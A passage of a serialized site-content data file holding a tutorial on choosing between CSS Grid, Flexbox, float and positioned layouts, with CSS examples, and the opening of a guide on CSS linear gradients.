rows",[199,67148,67149,67151,67153],{},[216,67150,65913],{},[216,67152,65916],{},[216,67154,67155],{},"Wrapping text around images",[199,67157,67158,67160,67163],{},[216,67159,45688],{},[216,67161,67162],{},"Explicit placement",[216,67164,67165],{},"Overlays, tooltips, sticky headers",[16,67167,67168],{},"Most modern layouts use Grid and Flexbox together. Float and Position serve specific niches — not general-purpose layout.",[11,67170,67172],{"id":67171},"grid-vs-flexbox","Grid vs Flexbox",[16,67174,67175],{},"Grid and Flexbox are the two modern layout engines. Understanding when each wins saves hours of debugging.",[33,67177,67179],{"id":67178},"when-grid-wins","When Grid Wins",[16,67181,67182,67183,67186],{},"Use Grid when you need to control the ",[47,67184,67185],{},"overall structure"," — where things sit in both dimensions at once.",[41,67188,67189,67192,67195,67198,67204],{},[44,67190,67191],{},"You define both columns and rows simultaneously",[44,67193,67194],{},"Items need to span multiple cells or align in a matrix",[44,67196,67197],{},"The layout has named regions (sidebar, main, footer)",[44,67199,67200,67201,67203],{},"You want ",[143,67202,63144],{}," responsive behavior without media queries",[44,67205,67206],{},"Content must align across rows and columns",[135,67208,67210],{"className":1554,"code":67209,"language":1556,"meta":141,"style":141},".page-layout {\n  display: grid;\n  grid-template-columns: 260px 1fr;\n  grid-template-rows: 64px 1fr 48px;\n  grid-template-areas:\n    \"header  header\"\n    \"sidebar content\"\n    \"footer  footer\";\n}\n",[143,67211,67212,67219,67229,67245,67265,67271,67275,67279,67285],{"__ignoreMap":141},[1560,67213,67214,67217],{"class":1562,"line":1563},[1560,67215,67216],{"class":1566},".page-layout",[1560,67218,1571],{"class":1570},[1560,67220,67221,67223,67225,67227],{"class":1562,"line":337},[1560,67222,12504],{"class":1576},[1560,67224,1663],{"class":1570},[1560,67226,53158],{"class":1576},[1560,67228,2228],{"class":1570},[1560,67230,67231,67233,67235,67237,67239,67241,67243],{"class":1562,"line":343},[1560,67232,61005],{"class":1576},[1560,67234,1663],{"class":1570},[1560,67236,63480],{"class":1576},[1560,67238,1670],{"class":1669},[1560,67240,18868],{"class":1576},[1560,67242,61016],{"class":1669},[1560,67244,2228],{"class":1570},[1560,67246,67247,67249,67251,67253,67255,67257,67259,67261,67263],{"class":1562,"line":365},[1560,67248,61023],{"class":1576},[1560,67250,1663],{"class":1570},[1560,67252,32226],{"class":1576},[1560,67254,1670],{"class":1669},[1560,67256,18868],{"class":1576},[1560,67258,61016],{"class":1669},[1560,67260,48871],{"class":1576},[1560,67262,1670],{"class":1669},[1560,67264,2228],{"class":1570},[1560,67266,67267,67269],{"class":1562,"line":889},[1560,67268,61040],{"class":1576},[1560,67270,19182],{"class":1570},[1560,67272,67273],{"class":1562,"line":1710},[1560,67274,66111],{"class":5634},[1560,67276,67277],{"class":1562,"line":1717},[1560,67278,66116],{"class":5634},[1560,67280,67281,67283],{"class":1562,"line":1747},[1560,67282,66121],{"class":5634},[1560,67284,2228],{"class":1570},[1560,67286,67287],{"class":1562,"line":2507},[1560,67288,1585],{"class":1570},[16,67290,67291,67292,67295],{},"Grid controls the ",[47,67293,67294],{},"frame",". Think of it as the architecture of the page.",[33,67297,67299],{"id":67298},"when-flexbox-wins","When Flexbox Wins",[16,67301,67302,67303,67306],{},"Use Flexbox when you distribute space along a ",[47,67304,67305],{},"single axis"," — aligning items in a row or column.",[41,67308,67309,67312,67315,67318,67321],{},[44,67310,67311],{},"Items flow in one direction (horizontal nav, vertical sidebar menu)",[44,67313,67314],{},"You need to distribute remaining space proportionally",[44,67316,67317],{},"Content size determines layout, not the reverse",[44,67319,67320],{},"You want easy centering of a single item",[44,67322,67323],{},"Items should wrap based on their content width",[135,67325,67327],{"className":1554,"code":67326,"language":1556,"meta":141,"style":141},".toolbar {\n  display: flex;\n  align-items: center;\n  gap: 12px;\n}\n\n.toolbar-spacer {\n  flex: 1; \u002F* pushes items after it to the right *\u002F\n}\n",[143,67328,67329,67336,67346,67356,67368,67372,67376,67383,67396],{"__ignoreMap":141},[1560,67330,67331,67334],{"class":1562,"line":1563},[1560,67332,67333],{"class":1566},".toolbar",[1560,67335,1571],{"class":1570},[1560,67337,67338,67340,67342,67344],{"class":1562,"line":337},[1560,67339,12504],{"class":1576},[1560,67341,1663],{"class":1570},[1560,67343,32187],{"class":1576},[1560,67345,2228],{"class":1570},[1560,67347,67348,67350,67352,67354],{"class":1562,"line":343},[1560,67349,32194],{"class":1576},[1560,67351,1663],{"class":1570},[1560,67353,32199],{"class":1576},[1560,67355,2228],{"class":1570},[1560,67357,67358,67360,67362,67364,67366],{"class":1562,"line":365},[1560,67359,32235],{"class":1576},[1560,67361,1663],{"class":1570},[1560,67363,13566],{"class":1576},[1560,67365,1670],{"class":1669},[1560,67367,2228],{"class":1570},[1560,67369,67370],{"class":1562,"line":889},[1560,67371,1585],{"class":1570},[1560,67373,67374],{"class":1562,"line":1710},[1560,67375,1702],{"emptyLinePlaceholder":363},[1560,67377,67378,67381],{"class":1562,"line":1717},[1560,67379,67380],{"class":1566},".toolbar-spacer",[1560,67382,1571],{"class":1570},[1560,67384,67385,67387,67389,67391,67393],{"class":1562,"line":1747},[1560,67386,32292],{"class":1576},[1560,67388,1663],{"class":1570},[1560,67390,3585],{"class":1576},[1560,67392,3664],{"class":1570},[1560,67394,67395],{"class":1649},"\u002F* pushes items after it to the right *\u002F\n",[1560,67397,67398],{"class":1562,"line":2507},[1560,67399,1585],{"class":1570},[16,67401,67402,67403,67405],{},"Flexbox controls the ",[47,67404,29075],{},". Think of it as the furniture inside the rooms Grid built.",[33,67407,67409],{"id":67408},"direct-comparison","Direct Comparison",[193,67411,67412,67422],{},[196,67413,67414],{},[199,67415,67416,67418,67420],{},[202,67417,5867],{},[202,67419,65902],{},[202,67421,65891],{},[211,67423,67424,67435,67446,67459,67474,67489],{},[199,67425,67426,67429,67432],{},[216,67427,67428],{},"Primary axis",[216,67430,67431],{},"Both simultaneously",[216,67433,67434],{},"One at a time",[199,67436,67437,67440,67443],{},[216,67438,67439],{},"Track sizing",[216,67441,67442],{},"Explicit columns + rows",[216,67444,67445],{},"Content-based or flex-grow\u002Fshrink",[199,67447,67448,67451,67454],{},[216,67449,67450],{},"Wrapping",[216,67452,67453],{},"Via auto-fill\u002Fauto-fit",[216,67455,67456,67457],{},"Via ",[143,67458,58256],{},[199,67460,67461,67464,67470],{},[216,67462,67463],{},"Gap support",[216,67465,67466,67467,67469],{},"Full ",[143,67468,58563],{}," property",[216,67471,67466,67472,67469],{},[143,67473,58563],{},[199,67475,67476,67479,67484],{},[216,67477,67478],{},"Reordering",[216,67480,67481,67483],{},[143,67482,58961],{}," + grid placement",[216,67485,67486,67488],{},[143,67487,58961],{}," only",[199,67490,67491,67494,67497],{},[216,67492,67493],{},"Learning curve",[216,67495,67496],{},"Steeper (more properties)",[216,67498,67499],{},"Gentler",[33,67501,67503],{"id":67502},"the-one-question-test","The One-Question Test",[16,67505,67506],{},"Can you draw a line across your layout without crossing any item? If yes, Grid is the natural choice. If items form a single row or column with no clean cross-axis, Flexbox fits better.",[11,67508,67510],{"id":67509},"traditional-layout-methods","Traditional Layout Methods",[33,67512,67514],{"id":67513},"float-based-layouts","Float-Based Layouts",[16,67516,67517],{},"Floats were the backbone of CSS layout before Flexbox existed. Today, use them only for their original purpose — wrapping text around images:",[135,67519,67521],{"className":1554,"code":67520,"language":1556,"meta":141,"style":141},".article-image {\n  float: left;\n  margin-right: 16px;\n  margin-bottom: 8px;\n}\n",[143,67522,67523,67529,67539,67551,67563],{"__ignoreMap":141},[1560,67524,67525,67527],{"class":1562,"line":1563},[1560,67526,66183],{"class":1566},[1560,67528,1571],{"class":1570},[1560,67530,67531,67533,67535,67537],{"class":1562,"line":337},[1560,67532,66190],{"class":1576},[1560,67534,1663],{"class":1570},[1560,67536,45290],{"class":1576},[1560,67538,2228],{"class":1570},[1560,67540,67541,67543,67545,67547,67549],{"class":1562,"line":343},[1560,67542,51802],{"class":1576},[1560,67544,1663],{"class":1570},[1560,67546,10057],{"class":1576},[1560,67548,1670],{"class":1669},[1560,67550,2228],{"class":1570},[1560,67552,67553,67555,67557,67559,67561],{"class":1562,"line":365},[1560,67554,51815],{"class":1576},[1560,67556,1663],{"class":1570},[1560,67558,10078],{"class":1576},[1560,67560,1670],{"class":1669},[1560,67562,2228],{"class":1570},[1560,67564,67565],{"class":1562,"line":889},[1560,67566,1585],{"class":1570},[16,67568,67569],{},"Never use floats for page structure. They require clearfix hacks, cannot vertically center, and break easily at different screen sizes.",[33,67571,67573],{"id":67572},"positioned-layout","Positioned Layout",[16,67575,67576,1856,67579,67581],{},[143,67577,67578],{},"position: absolute",[143,67580,1546],{}," remove elements from normal flow. Use them for overlays, modals, and sticky elements:",[135,67583,67585],{"className":1554,"code":67584,"language":1556,"meta":141,"style":141},".modal-overlay {\n  position: fixed;\n  inset: 0;\n  background: rgba(0, 0, 0, 0.5);\n  display: flex;\n  align-items: center;\n  justify-content: center;\n}\n\n.sticky-header {\n  position: sticky;\n  top: 0;\n  z-index: 100;\n}\n",[143,67586,67587,67594,67604,67614,67640,67650,67660,67670,67674,67678,67685,67695,67705,67715],{"__ignoreMap":141},[1560,67588,67589,67592],{"class":1562,"line":1563},[1560,67590,67591],{"class":1566},".modal-overlay",[1560,67593,1571],{"class":1570},[1560,67595,67596,67598,67600,67602],{"class":1562,"line":337},[1560,67597,5642],{"class":1576},[1560,67599,1663],{"class":1570},[1560,67601,66296],{"class":1576},[1560,67603,2228],{"class":1570},[1560,67605,67606,67608,67610,67612],{"class":1562,"line":343},[1560,67607,5654],{"class":1576},[1560,67609,1663],{"class":1570},[1560,67611,5285],{"class":1576},[1560,67613,2228],{"class":1570},[1560,67615,67616,67618,67620,67622,67624,67626,67628,67630,67632,67634,67636,67638],{"class":1562,"line":365},[1560,67617,5665],{"class":1576},[1560,67619,1663],{"class":1570},[1560,67621,5670],{"class":1576},[1560,67623,1688],{"class":1570},[1560,67625,5285],{"class":1576},[1560,67627,1459],{"class":1570},[1560,67629,5285],{"class":1576},[1560,67631,1459],{"class":1570},[1560,67633,5285],{"class":1576},[1560,67635,1459],{"class":1570},[1560,67637,5687],{"class":1576},[1560,67639,1744],{"class":1570},[1560,67641,67642,67644,67646,67648],{"class":1562,"line":889},[1560,67643,12504],{"class":1576},[1560,67645,1663],{"class":1570},[1560,67647,32187],{"class":1576},[1560,67649,2228],{"class":1570},[1560,67651,67652,67654,67656,67658],{"class":1562,"line":1710},[1560,67653,32194],{"class":1576},[1560,67655,1663],{"class":1570},[1560,67657,32199],{"class":1576},[1560,67659,2228],{"class":1570},[1560,67661,67662,67664,67666,67668],{"class":1562,"line":1717},[1560,67663,32316],{"class":1576},[1560,67665,1663],{"class":1570},[1560,67667,32199],{"class":1576},[1560,67669,2228],{"class":1570},[1560,67671,67672],{"class":1562,"line":1747},[1560,67673,1585],{"class":1570},[1560,67675,67676],{"class":1562,"line":2507},[1560,67677,1702],{"emptyLinePlaceholder":363},[1560,67679,67680,67683],{"class":1562,"line":2524},[1560,67681,67682],{"class":1566},".sticky-header",[1560,67684,1571],{"class":1570},[1560,67686,67687,67689,67691,67693],{"class":1562,"line":2529},[1560,67688,5642],{"class":1576},[1560,67690,1663],{"class":1570},[1560,67692,53895],{"class":1576},[1560,67694,2228],{"class":1570},[1560,67696,67697,67699,67701,67703],{"class":1562,"line":2534},[1560,67698,46848],{"class":1576},[1560,67700,1663],{"class":1570},[1560,67702,5285],{"class":1576},[1560,67704,2228],{"class":1570},[1560,67706,67707,67709,67711,67713],{"class":1562,"line":2542},[1560,67708,19726],{"class":1576},[1560,67710,1663],{"class":1570},[1560,67712,18114],{"class":1576},[1560,67714,2228],{"class":1570},[1560,67716,67717],{"class":1562,"line":2558},[1560,67718,1585],{"class":1570},[16,67720,67721],{},"Position is not a layout system — it is for explicit placement. Do not build page structures with it.",[33,67723,67725],{"id":67724},"table-and-inline-block","Table and Inline-Block",[16,67727,67728,67731,67732,67735],{},[143,67729,67730],{},"display: table"," creates equal-height columns but has zero responsive capability. ",[143,67733,67734],{},"display: inline-block"," was the precursor to Flexbox — it suffers from whitespace gaps and lacks alignment controls. Both are obsolete for layout purposes.",[11,67737,67739],{"id":67738},"choosing-the-right-system","Choosing the Right System",[16,67741,67742],{},"Follow this decision flow:",[77,67744,67745,67754,67760,67766,67772],{},[44,67746,67747,66443,67750,67753],{},[47,67748,67749],{},"Is it tabular data?",[143,67751,67752],{},"\u003Ctable>"," with semantic markup",[44,67755,67756,67759],{},[47,67757,67758],{},"Do you need both rows and columns?"," → Use CSS Grid",[44,67761,67762,67765],{},[47,67763,67764],{},"Is it one-directional content?"," → Use Flexbox",[44,67767,67768,67771],{},[47,67769,67770],{},"Does it need to overlay other content?"," → Use position",[44,67773,67774,67777],{},[47,67775,67776],{},"Does text need to wrap around it?"," → Use float",[16,67779,67780],{},"When in doubt, start with Flexbox for small components and Grid for page-level structure.",[11,67782,67784],{"id":67783},"combining-grid-and-flexbox","Combining Grid and Flexbox",[16,67786,67787,67788,67791],{},"The most powerful pattern is ",[47,67789,67790],{},"Grid for layout, Flexbox for components",". Here are practical examples.",[33,67793,67795],{"id":67794},"app-shell-pattern","App Shell Pattern",[16,67797,67798],{},"Grid defines the page structure. Flexbox handles the internals of each area:",[135,67800,67802],{"className":1554,"code":67801,"language":1556,"meta":141,"style":141},"\u002F* Grid defines the page structure *\u002F\n.app {\n  display: grid;\n  grid-template-columns: 240px 1fr;\n  grid-template-rows: 56px 1fr;\n  grid-template-areas:\n    \"sidebar header\"\n    \"sidebar main\";\n  min-height: 100vh;\n}\n\n\u002F* Flexbox handles the header internals *\u002F\n.header {\n  grid-area: header;\n  display: flex;\n  align-items: center;\n  justify-content: space-between;\n  padding: 0 24px;\n}\n\n\u002F* Flexbox handles the sidebar menu *\u002F\n.sidebar {\n  grid-area: sidebar;\n  display: flex;\n  flex-direction: column;\n  gap: 4px;\n  padding: 16px;\n}\n",[143,67803,67804,67809,67816,67826,67842,67858,67864,67868,67875,67887,67891,67895,67900,67906,67913,67923,67933,67943,67957,67961,67965,67970,67976,67983,67993,68003,68015,68027],{"__ignoreMap":141},[1560,67805,67806],{"class":1562,"line":1563},[1560,67807,67808],{"class":1649},"\u002F* Grid defines the page structure *\u002F\n",[1560,67810,67811,67814],{"class":1562,"line":337},[1560,67812,67813],{"class":1566},".app",[1560,67815,1571],{"class":1570},[1560,67817,67818,67820,67822,67824],{"class":1562,"line":343},[1560,67819,12504],{"class":1576},[1560,67821,1663],{"class":1570},[1560,67823,53158],{"class":1576},[1560,67825,2228],{"class":1570},[1560,67827,67828,67830,67832,67834,67836,67838,67840],{"class":1562,"line":365},[1560,67829,61005],{"class":1576},[1560,67831,1663],{"class":1570},[1560,67833,14865],{"class":1576},[1560,67835,1670],{"class":1669},[1560,67837,18868],{"class":1576},[1560,67839,61016],{"class":1669},[1560,67841,2228],{"class":1570},[1560,67843,67844,67846,67848,67850,67852,67854,67856],{"class":1562,"line":889},[1560,67845,61023],{"class":1576},[1560,67847,1663],{"class":1570},[1560,67849,63501],{"class":1576},[1560,67851,1670],{"class":1669},[1560,67853,18868],{"class":1576},[1560,67855,61016],{"class":1669},[1560,67857,2228],{"class":1570},[1560,67859,67860,67862],{"class":1562,"line":1710},[1560,67861,61040],{"class":1576},[1560,67863,19182],{"class":1570},[1560,67865,67866],{"class":1562,"line":1717},[1560,67867,61047],{"class":5634},[1560,67869,67870,67873],{"class":1562,"line":1747},[1560,67871,67872],{"class":5634},"    \"sidebar main\"",[1560,67874,2228],{"class":1570},[1560,67876,67877,67879,67881,67883,67885],{"class":1562,"line":2507},[1560,67878,32698],{"class":1576},[1560,67880,1663],{"class":1570},[1560,67882,18114],{"class":1576},[1560,67884,32705],{"class":1669},[1560,67886,2228],{"class":1570},[1560,67888,67889],{"class":1562,"line":2524},[1560,67890,1585],{"class":1570},[1560,67892,67893],{"class":1562,"line":2529},[1560,67894,1702],{"emptyLinePlaceholder":363},[1560,67896,67897],{"class":1562,"line":2534},[1560,67898,67899],{"class":1649},"\u002F* Flexbox handles the header internals *\u002F\n",[1560,67901,67902,67904],{"class":1562,"line":2542},[1560,67903,61072],{"class":1566},[1560,67905,1571],{"class":1570},[1560,67907,67908,67910],{"class":1562,"line":2558},[1560,67909,65001],{"class":1576},[1560,67911,67912],{"class":1570},": header;\n",[1560,67914,67915,67917,67919,67921],{"class":1562,"line":2570},[1560,67916,12504],{"class":1576},[1560,67918,1663],{"class":1570},[1560,67920,32187],{"class":1576},[1560,67922,2228],{"class":1570},[1560,67924,67925,67927,67929,67931],{"class":1562,"line":6638},[1560,67926,32194],{"class":1576},[1560,67928,1663],{"class":1570},[1560,67930,32199],{"class":1576},[1560,67932,2228],{"class":1570},[1560,67934,67935,67937,67939,67941],{"class":1562,"line":11615},[1560,67936,32316],{"class":1576},[1560,67938,1663],{"class":1570},[1560,67940,41176],{"class":1576},[1560,67942,2228],{"class":1570},[1560,67944,67945,67947,67949,67951,67953,67955],{"class":1562,"line":11621},[1560,67946,18186],{"class":1576},[1560,67948,1663],{"class":1570},[1560,67950,5285],{"class":1576},[1560,67952,18193],{"class":1576},[1560,67954,1670],{"class":1669},[1560,67956,2228],{"class":1570},[1560,67958,67959],{"class":1562,"line":11633},[1560,67960,1585],{"class":1570},[1560,67962,67963],{"class":1562,"line":11638},[1560,67964,1702],{"emptyLinePlaceholder":363},[1560,67966,67967],{"class":1562,"line":11672},[1560,67968,67969],{"class":1649},"\u002F* Flexbox handles the sidebar menu *\u002F\n",[1560,67971,67972,67974],{"class":1562,"line":19435},[1560,67973,33518],{"class":1566},[1560,67975,1571],{"class":1570},[1560,67977,67978,67980],{"class":1562,"line":19442},[1560,67979,65001],{"class":1576},[1560,67981,67982],{"class":1570},": sidebar;\n",[1560,67984,67985,67987,67989,67991],{"class":1562,"line":19475},[1560,67986,12504],{"class":1576},[1560,67988,1663],{"class":1570},[1560,67990,32187],{"class":1576},[1560,67992,2228],{"class":1570},[1560,67994,67995,67997,67999,68001],{"class":1562,"line":19508},[1560,67996,32686],{"class":1576},[1560,67998,1663],{"class":1570},[1560,68000,32691],{"class":1576},[1560,68002,2228],{"class":1570},[1560,68004,68005,68007,68009,68011,68013],{"class":1562,"line":44196},[1560,68006,32235],{"class":1576},[1560,68008,1663],{"class":1570},[1560,68010,12546],{"class":1576},[1560,68012,1670],{"class":1669},[1560,68014,2228],{"class":1570},[1560,68016,68017,68019,68021,68023,68025],{"class":1562,"line":44203},[1560,68018,18186],{"class":1576},[1560,68020,1663],{"class":1570},[1560,68022,10057],{"class":1576},[1560,68024,1670],{"class":1669},[1560,68026,2228],{"class":1570},[1560,68028,68029],{"class":1562,"line":44220},[1560,68030,1585],{"class":1570},[33,68032,68034],{"id":68033},"card-grid-pattern","Card Grid Pattern",[16,68036,68037],{},"Grid handles the card layout. Flexbox controls content inside each card:",[135,68039,68041],{"className":1554,"code":68040,"language":1556,"meta":141,"style":141},".card-grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));\n  gap: 24px;\n}\n\n.card {\n  display: flex;\n  flex-direction: column;\n  gap: 12px;\n}\n\n.card-footer {\n  margin-top: auto; \u002F* pushes footer to bottom of card *\u002F\n}\n",[143,68042,68043,68049,68059,68089,68101,68105,68109,68115,68125,68135,68147,68151,68155,68162,68175],{"__ignoreMap":141},[1560,68044,68045,68047],{"class":1562,"line":1563},[1560,68046,63384],{"class":1566},[1560,68048,1571],{"class":1570},[1560,68050,68051,68053,68055,68057],{"class":1562,"line":337},[1560,68052,12504],{"class":1576},[1560,68054,1663],{"class":1570},[1560,68056,53158],{"class":1576},[1560,68058,2228],{"class":1570},[1560,68060,68061,68063,68065,68067,68069,68071,68073,68075,68077,68079,68081,68083,68085,68087],{"class":1562,"line":343},[1560,68062,61005],{"class":1576},[1560,68064,1663],{"class":1570},[1560,68066,9442],{"class":1576},[1560,68068,1688],{"class":1570},[1560,68070,63144],{"class":1576},[1560,68072,1459],{"class":1570},[1560,68074,62152],{"class":1576},[1560,68076,1688],{"class":1570},[1560,68078,44009],{"class":1576},[1560,68080,1670],{"class":1669},[1560,68082,1459],{"class":1570},[1560,68084,3585],{"class":1576},[1560,68086,61016],{"class":1669},[1560,68088,41941],{"class":1570},[1560,68090,68091,68093,68095,68097,68099],{"class":1562,"line":365},[1560,68092,32235],{"class":1576},[1560,68094,1663],{"class":1570},[1560,68096,61489],{"class":1576},[1560,68098,1670],{"class":1669},[1560,68100,2228],{"class":1570},[1560,68102,68103],{"class":1562,"line":889},[1560,68104,1585],{"class":1570},[1560,68106,68107],{"class":1562,"line":1710},[1560,68108,1702],{"emptyLinePlaceholder":363},[1560,68110,68111,68113],{"class":1562,"line":1717},[1560,68112,1567],{"class":1566},[1560,68114,1571],{"class":1570},[1560,68116,68117,68119,68121,68123],{"class":1562,"line":1747},[1560,68118,12504],{"class":1576},[1560,68120,1663],{"class":1570},[1560,68122,32187],{"class":1576},[1560,68124,2228],{"class":1570},[1560,68126,68127,68129,68131,68133],{"class":1562,"line":2507},[1560,68128,32686],{"class":1576},[1560,68130,1663],{"class":1570},[1560,68132,32691],{"class":1576},[1560,68134,2228],{"class":1570},[1560,68136,68137,68139,68141,68143,68145],{"class":1562,"line":2524},[1560,68138,32235],{"class":1576},[1560,68140,1663],{"class":1570},[1560,68142,13566],{"class":1576},[1560,68144,1670],{"class":1669},[1560,68146,2228],{"class":1570},[1560,68148,68149],{"class":1562,"line":2529},[1560,68150,1585],{"class":1570},[1560,68152,68153],{"class":1562,"line":2534},[1560,68154,1702],{"emptyLinePlaceholder":363},[1560,68156,68157,68160],{"class":1562,"line":2542},[1560,68158,68159],{"class":1566},".card-footer",[1560,68161,1571],{"class":1570},[1560,68163,68164,68166,68168,68170,68172],{"class":1562,"line":2558},[1560,68165,51789],{"class":1576},[1560,68167,1663],{"class":1570},[1560,68169,33331],{"class":1576},[1560,68171,3664],{"class":1570},[1560,68173,68174],{"class":1649},"\u002F* pushes footer to bottom of card *\u002F\n",[1560,68176,68177],{"class":1562,"line":2570},[1560,68178,1585],{"class":1570},[16,68180,421,68181,68184],{},[143,68182,68183],{},"margin-top: auto"," trick ensures every card footer aligns at the same height, even when card content varies in length.",[33,68186,68188],{"id":68187},"subgrid-for-aligned-children","Subgrid for Aligned Children",[16,68190,68191,68192,8037],{},"When child grids need to align with parent tracks, use ",[143,68193,68194],{},"subgrid",[135,68196,68198],{"className":1554,"code":68197,"language":1556,"meta":141,"style":141},".parent-grid {\n  display: grid;\n  grid-template-columns: 1fr 2fr 1fr;\n  gap: 16px;\n}\n\n.child-grid {\n  display: grid;\n  grid-column: 1 \u002F -1;\n  grid-template-columns: subgrid; \u002F* inherits parent columns *\u002F\n}\n",[143,68199,68200,68207,68217,68237,68249,68253,68257,68264,68274,68288,68301],{"__ignoreMap":141},[1560,68201,68202,68205],{"class":1562,"line":1563},[1560,68203,68204],{"class":1566},".parent-grid",[1560,68206,1571],{"class":1570},[1560,68208,68209,68211,68213,68215],{"class":1562,"line":337},[1560,68210,12504],{"class":1576},[1560,68212,1663],{"class":1570},[1560,68214,53158],{"class":1576},[1560,68216,2228],{"class":1570},[1560,68218,68219,68221,68223,68225,68227,68229,68231,68233,68235],{"class":1562,"line":343},[1560,68220,61005],{"class":1576},[1560,68222,1663],{"class":1570},[1560,68224,3585],{"class":1576},[1560,68226,61016],{"class":1669},[1560,68228,9426],{"class":1576},[1560,68230,61016],{"class":1669},[1560,68232,18868],{"class":1576},[1560,68234,61016],{"class":1669},[1560,68236,2228],{"class":1570},[1560,68238,68239,68241,68243,68245,68247],{"class":1562,"line":365},[1560,68240,32235],{"class":1576},[1560,68242,1663],{"class":1570},[1560,68244,10057],{"class":1576},[1560,68246,1670],{"class":1669},[1560,68248,2228],{"class":1570},[1560,68250,68251],{"class":1562,"line":889},[1560,68252,1585],{"class":1570},[1560,68254,68255],{"class":1562,"line":1710},[1560,68256,1702],{"emptyLinePlaceholder":363},[1560,68258,68259,68262],{"class":1562,"line":1717},[1560,68260,68261],{"class":1566},".child-grid",[1560,68263,1571],{"class":1570},[1560,68265,68266,68268,68270,68272],{"class":1562,"line":1747},[1560,68267,12504],{"class":1576},[1560,68269,1663],{"class":1570},[1560,68271,53158],{"class":1576},[1560,68273,2228],{"class":1570},[1560,68275,68276,68278,68280,68282,68284,68286],{"class":1562,"line":2507},[1560,68277,61956],{"class":1576},[1560,68279,1663],{"class":1570},[1560,68281,3585],{"class":1576},[1560,68283,14237],{"class":1570},[1560,68285,19059],{"class":1576},[1560,68287,2228],{"class":1570},[1560,68289,68290,68292,68294,68296,68298],{"class":1562,"line":2524},[1560,68291,61005],{"class":1576},[1560,68293,1663],{"class":1570},[1560,68295,68194],{"class":1576},[1560,68297,3664],{"class":1570},[1560,68299,68300],{"class":1649},"\u002F* inherits parent columns *\u002F\n",[1560,68302,68303],{"class":1562,"line":2529},[1560,68304,1585],{"class":1570},[16,68306,68307],{},"Subgrid eliminates the need to repeat column definitions, keeping layouts DRY and visually aligned.",[11,68309,286],{"id":285},[16,68311,68312],{},"Build layouts interactively with our tools:",[41,68314,68315,68321],{},[44,68316,68317,68320],{},[98,68318,61745],{"href":62823,"rel":68319},[14956]," — Define columns, rows, gaps, and named areas visually",[44,68322,68323,68326],{},[98,68324,33649],{"href":59517,"rel":68325},[14956]," — Adjust direction, alignment, wrapping, and spacing",[11,68328,321],{"id":320},[41,68330,68331,68335,68340],{},[44,68332,68333,59530],{},[98,68334,59529],{"href":59528},[44,68336,68337,68339],{},[98,68338,67060],{"href":59577}," — Flex container and item properties, alignment, and wrapping",[44,68341,68342,68344],{},[98,68343,65815],{"href":63648}," — Core grid concepts: columns, rows, units, and gaps",[2043,68346,68347],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":68349},[68350,68351,68357,68362,68363,68368,68369],{"id":67106,"depth":337,"text":67107},{"id":67171,"depth":337,"text":67172,"children":68352},[68353,68354,68355,68356],{"id":67178,"depth":343,"text":67179},{"id":67298,"depth":343,"text":67299},{"id":67408,"depth":343,"text":67409},{"id":67502,"depth":343,"text":67503},{"id":67509,"depth":337,"text":67510,"children":68358},[68359,68360,68361],{"id":67513,"depth":343,"text":67514},{"id":67572,"depth":343,"text":67573},{"id":67724,"depth":343,"text":67725},{"id":67738,"depth":337,"text":67739},{"id":67783,"depth":337,"text":67784,"children":68364},[68365,68366,68367],{"id":67794,"depth":343,"text":67795},{"id":68033,"depth":343,"text":68034},{"id":68187,"depth":343,"text":68188},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare CSS Grid, Flexbox, and traditional layout methods for modern web design.",{"immutable":363},{"title":67101,"description":68370},"guides\u002Fcss-layout-systems","n9oNmWbnwFyCTHAkYD_Ooxr9YSPwRyUkbxUXjvXliTU",{"id":68376,"title":68377,"body":68378,"date":2070,"description":69359,"extension":361,"meta":69360,"navigation":363,"path":56833,"readingTime":1710,"seo":69361,"stem":69362,"__hash__":69363},"guides\u002Fguides\u002Fcss-linear-gradient-tutorial.md","CSS Linear Gradient Tutorial: Angles, Directions, and Color Stops",{"type":8,"value":68379,"toc":69333},[68380,68384,68390,68396,68398,68407,68410,68453,68455,68458,68462,68530,68533,68537,68540,68562,68585,68591,68595,68647,68649,68652,68730,68734,68755,68778,68781,68785,68792,68836,68841,68844,68846,68852,68889,68892,68896,68902,68998,69004,69008,69013,69017,69058,69062,69103,69107,69196,69199,69203,69206,69275,69278,69281,69283,69305,69307,69316,69318,69330],[11,68381,68383],{"id":68382},"linear-gradients-are-the-workhorse","Linear Gradients Are the Workhorse",[16,68385,68386,68387,68389],{},"Of all CSS gradient types, ",[143,68388,46356],{}," is the one you will reach for most often. Buttons, hero sections, card backgrounds, overlays — linear gradients handle them all with a single line of CSS.",[16,68391,68392,68393,68395],{},"This tutorial focuses exclusively on ",[143,68394,46356],{}," syntax so you can master every angle, stop, and pattern it supports.",[11,68397,60969],{"id":60968},[135,68399,68401],{"className":1554,"code":68400,"language":1556,"meta":141,"style":141},"background: linear-gradient(direction, color1, color2, ...);\n",[143,68402,68403],{"__ignoreMap":141},[1560,68404,68405],{"class":1562,"line":1563},[1560,68406,68400],{"class":1570},[16,68408,68409],{},"The direction tells the browser which way the gradient flows. The colors define what appears along that 